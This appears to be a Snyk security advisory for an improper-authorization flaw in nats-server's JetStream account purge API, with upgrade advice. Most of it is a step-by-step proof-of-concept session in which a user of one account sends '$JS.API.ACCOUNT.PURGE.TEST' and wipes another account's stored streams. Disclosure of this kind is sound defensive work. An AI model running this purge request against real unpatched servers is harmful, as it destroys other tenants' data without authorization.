Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Authorization vulnerabilities in an interactive lesson.
Start learningUpgrade github.com/nats-io/nats-server/v2/server
to version 2.10.27, 2.11.1 or higher.
github.com/nats-io/nats-server/v2/server is an A simple, secure and performant communications system for digital systems, services and devices.
Affected versions of this package are vulnerable to Improper Authorization through the JS.API.ACCOUNT.PURGE
process. An attacker can delete all data and configurations related to JetStream by sending a purge request without proper authorization checks.
Note:
This is only exploitable if the user has permissions to publish on $JS.>
or >
, which in many configurations, includes non-system account users with admin privileges.
$ nats-server --version
nats-server: v2.10.26
$ nats --version
0.1.6
$ cat nats-server.conf
listen: '0.0.0.0:4233'
jetstream: {
store_dir: './tmp'
}
accounts: {
'$SYS': {
users: [{user: 'sys', password: 'sys'}]
},
'TEST': {
jetstream: true,
users: [{user: 'a', password: 'a'}]
},
'TEST2': {
jetstream: true,
users: [{user: 'b', password: 'b'}]
}
}
$ nats-server -c ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233
...
# Authentication is effectively enabled by the server:
$ nats -s nats://localhost:4233 account info
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user sys --password wrong
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user a --password wrong
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user b --password wrong
nats: error: setup failed: nats: Authorization Violation
# Valid credentials work, and users properly matched to accounts:
$ nats -s nats://localhost:4233 account info --user sys --password sys
Account Information
User: sys
Account: $SYS
...
$ nats -s nats://localhost:4233 account info --user a --password a
Account Information
User: a
Account: TEST
...
$ nats -s nats://localhost:4233 account info --user b --password b
Account Information
User: b
Account: TEST2
...
# Add a stream and messages to account TEST (user 'a'):
$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults
Stream stream1 was created
...
$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
# Messages are correctly persisted on account TEST, and not on TEST2:
$ nats -s nats://localhost:4233 --user a --password a stream ls
â•───────────────────────────────────────────────────────────────────────────────╮
│ Streams │
├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name │ Description │ Created │ Messages │ Size │ Last Message │
├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ stream1 │ │ 2025-03-02 11:48:49 │ 3 │ 111 B │ 46.01s │
╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯
$ nats -s nats://localhost:4233 --user b --password b stream ls
No Streams defined
$ du -h tmp/jetstream
0B tmp/jetstream/TEST/streams/stream1/obs
8.0K tmp/jetstream/TEST/streams/stream1/msgs
16K tmp/jetstream/TEST/streams/stream1
16K tmp/jetstream/TEST/streams
16K tmp/jetstream/TEST
16K tmp/jetstream
# User b (account TEST2) sends a PURGE command for account TEST (user a).
# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.
$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''
11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST"
11:54:50 Received with rtt 1.528042ms
{"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true}
# From nats-server in response to the purge request:
[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)
# And indeed, the stream data is gone on account TEST:
$ du -h tmp/jetstream
0B tmp/jetstream
$ nats -s nats://localhost:4233 --user a --password a stream ls
No Streams defined